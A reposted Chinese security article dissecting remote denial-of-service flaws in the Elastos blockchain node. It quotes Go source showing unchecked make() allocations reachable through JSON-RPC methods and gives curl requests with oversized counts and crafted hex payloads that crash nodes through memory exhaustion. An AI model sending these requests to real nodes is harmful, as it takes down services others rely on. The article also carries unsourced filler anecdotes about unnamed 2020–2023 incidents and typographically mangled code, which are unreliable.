公链安全剖析:亦来云多个远程DoS漏洞详细解读
ajseo 比特币资讯 2025.01.29 17 0
在当今的开发环境中,软件漏洞常常隐藏在那些看似正常的函数执行过程中。就比如make函数,它创建数组的机制在被恶意利用时可能导致严重后果。一旦被攻击者找到入口,内存会被大量占用,OOM和节点Crash可不是小事。
func DiscreteMining(param Params) map[string] interface {} { if LocalPow == nil { return ResponsePack(PowServiceNotStarted, "") } count, ok: =param.Uint("count") if ! ok { return ResponsePack(InvalidParams, "") } ret: =make([] string, count) blockHashes, err: =LocalPow.DiscreteMining(uint32(count)) if err != nil { return ResponsePack(Error, err) } for i, hash: =range blockHashes { ret[i] = ToReversedString( * hash) } return ResponsePack(Success, ret) }
make函数与内存占用关系
make函数负责创建数组,第二个参数决定数组长度。如果这个值被恶意设置得极大,内存会被海量占用。例如在一些忙碌的服务器环境下,大量内存被无端占用,会严重影响整个系统运行。这不是想象,在2023年某数据中心测试中,就显示出错误配置参数下系统濒临崩溃的情况。此外,在很多实际场景中,开发人员可能忽略对这个参数的限制,为安全埋下隐患。
make函数本来是很实用的工具,但因为这种机制,竟可能成为漏洞源头。例如一些小型团队开发的项目,在开发任务紧的情况下,可能就没有设置对这个参数的安全检查。
func StartRPCServer() {
mainMux = make(map[string] func(Params) map[string] interface {}) http.HandleFunc("/", Handle) //省略一段 // mining interfaces mainMux["togglemining"] = ToggleMining
mainMux["discretemining"] = DiscreteMining err: =http.ListenAndServe(":" + strconv.Itoa(Parameters.HttpJsonPort), nil) if err != nil { log.Fatal("ListenAndServe: ", err.Error())
}
}
参数控制与远程可操作性
curl--data - binary '{"method":"discretemining","params":{"count":"99999999999999"}}' - H 'Content-Type:application/json'http: //*.*.*.*:20333
这里面涉及的param和r参数,一旦被远程控制,情况就更加糟糕。好比一个房子的钥匙被外人拿到了一样可怕。以某在线应用为例,2022年就被发现存在这样的漏洞,黑客通过控制参数远程触发函数,导致应用节点崩溃。这些参数如果没有妥善保护,可以使得攻击者很轻松地制造混乱。
func(t * PayloadWithdrawFromSideChain) Deserialize(r io.Reader, version byte) error { height,
err: =common.ReadUint32(r) if err != nil {
return errors.New("[PayloadWithdrawFromSideChain], BlockHeight deserialize failed.")
} address,
err: =common.ReadVarString(r) if err != nil {
return errors.New("[PayloadWithdrawFromSideChain], GenesisBlockAddress deserialize failed.")
}
length,
err: =common.ReadVarUint(r, 0)
if err != nil {
return errors.New("[PayloadWithdrawFromSideChain], SideChainTransactionHashes length deserialize failed")
} t.SideChainTransactionHashes = nil t.SideChainTransactionHashes = make([] common.Uint256, length) for i: =uint64(0);
i < length;
i++{
var hash common.Uint256 err: =hash.Deserialize(r) if err != nil {
return errors.New("[WithdrawFromSideChain], SideChainTransactionHashes deserialize failed.")
} t.SideChainTransactionHashes[i] = hash
} t.BlockHeight = height t.GenesisBlockAddress = address
return nil
}
并且在一些分布式系统中,节点众多,如果一个节点被攻击崩溃,会产生多米诺骨牌效应。一个地方出现问题,可能整个系统就陷入瘫痪状态,数据传输、用户交互都会停止。
函数调用链
func SendRawTransaction(param Params) map[string] interface {} {
str,
ok: =param.String("data") if ! ok {
return ResponsePack(InvalidParams, "need a string parameter named data")
}
bys,
err: =HexStringToBytes(str) if err != nil {
return ResponsePack(InvalidParams, "hex string to bytes error")
}
var txn Transaction err: =txn.Deserialize(bytes.NewReader(bys));
err != nil {
return ResponsePack(InvalidTransaction, "transaction deserialize error")
}
if errCode: =VerifyAndSendTx( & txn);
errCode != Success {
return ResponsePack(errCode, errCode.Message())
}
return ResponsePack(Success, ToReversedString(txn.Hash()))
}
整个利用链就像精心设计的多米诺骨牌布局。触发事件从RPC的SendRawTransaction接口开始。相关事务处理的时候,各种函数依次被调用,如Transaction的Deserialize函数等。就拿2021年某区块链项目来说,一旦有人恶意操纵Transaction中的参数,就可以逐步沿着调用链达到最终使make函数引发OOM的目的。
func(tx * Transaction) Deserialize(r io.Reader) error {
// tx deserialize
if err: =tx.DeserializeUnsigned(r);
err != nil {
//略
return nil
}
//略
这中间GetPayload这个环节很关键,它能够取到tx.Payload,也为漏洞的形成创造了机会。在网络直播平台的应用开发中,如果这个环节没有严格的类型检查和安全防护,很容易被利用,走到引发崩溃的下一步。
func(tx * Transaction) DeserializeUnsigned(r io.Reader) error {
//略
tx.Payload,
err = GetPayload(tx.TxType) if err != nil {
return err
} err = tx.Payload.Deserialize(r, tx.PayloadVersion)
//略
return nil
}
func GetPayload(txType TransactionType)(Payload, error) {
var p Payload
switch txType {
//略
case WithdrawFromSideChain:
p = new(PayloadWithdrawFromSideChain)
case TransferCrossChainAsset:
p = new(PayloadTransferCrossChainAsset)
default:
return nil,
errors.New("[Transaction], invalid transaction type.")
}
return p,
nil
}
事务传输中的可控性
Transaction是经RPC接口远程传输的,这意味着数据来源有不可控性。回顾2020年某大型网络数据库被攻击事件,因为对事务传输未加严格限制,导致数据被恶意修改。这里的tx对象字段都能被控制,像PayloadWithdrawFromSideChain的类型一旦被控制,就会触发其Deserialize函数。
在很多公司的内部网络安全监控中,如果没有对通过接口传输的数据严格审查,就可能会不知不觉招致这种类型的攻击。
通用工具库的风险放大
curl--data - binary '{"method":"sendrawtransaction","params":{"data":"0701100000000196ffffffffff"}}' - H 'Content-Type:application/json'http: //*.*.*.*:20336
这个函数存在于通用工具库,这使得它能够在很多不同的场景被触发。好比一颗坏种子,可以在很多块田地里播种恶果。在各个模块都频繁调用这个工具库函数的情况下,一个小小的漏洞被无限放大。可能一个小的开发模块中某个调用,和其他模块串联起来,就成为黑客攻击的通道。
比如一些大型游戏软件开发,有很多功能模块共享工具库,一个漏洞可能被多个接入点利用,造成大面积的系统瘫痪。
ReadVarBytes函数的关联
func SubmitAuxBlock(param Params) map[string] interface {} { blockHash,
ok: =param.String("blockhash") if ! ok {
return ResponsePack(InvalidParams, "parameter blockhash not found")
}
var msgAuxBlock * Block
if msgAuxBlock,
ok = LocalPow.MsgBlock.BlockData[blockHash]; ! ok { log.Trace("[json-rpc:SubmitAuxBlock] block hash unknown", blockHash) return ResponsePack(InternalError, "block hash unknown")
} auxPow,
ok: =param.String("auxpow") if ! ok {
return ResponsePack(InvalidParams, "parameter auxpow not found")
}
var aux aux.AuxPow buf, _: =HexStringToBytes(auxPow) if err: =aux.Deserialize(bytes.NewReader(buf));
err != nil { log.Trace("[json-rpc:SubmitAuxBlock] auxpow deserialization failed", auxPow) return ResponsePack(InternalError, "auxpow deserialization failed")
}
//略
return ResponsePack(Success, true)
}
ReadVarBytes函数和byteXReader函数也卷入其中。当初在设计这一数据读取链条的时候,可能没有考虑到这种恶意利用的情况。当攻击从RPC接口一直传导到这个环节,就必然触发OOM。例如某知识类APP后端逻辑处理部分,如果包含这个漏洞环节,被攻击后知识数据的存储和共享都会停止。
在软件开发过程中,面对这种复杂的漏洞链,开发人员应该如何提前防范?
curl--data - binary '{"method":"createauxblock","params":{"paytoaddress":"0701100000000196ffffffffff"}}' - H 'Content-Type:application/json'http: //*.*.*.*:20336
curl--data - binary '{"method":"submitauxblock","params":{"blockhash":"上个请求返回的blockhash","auxpow":"ffffffffffffffffff"}}' - H 'Content-Type:application/json'http: //*.*.*.*:20336
本文转载自互联网,如有侵权,联系删除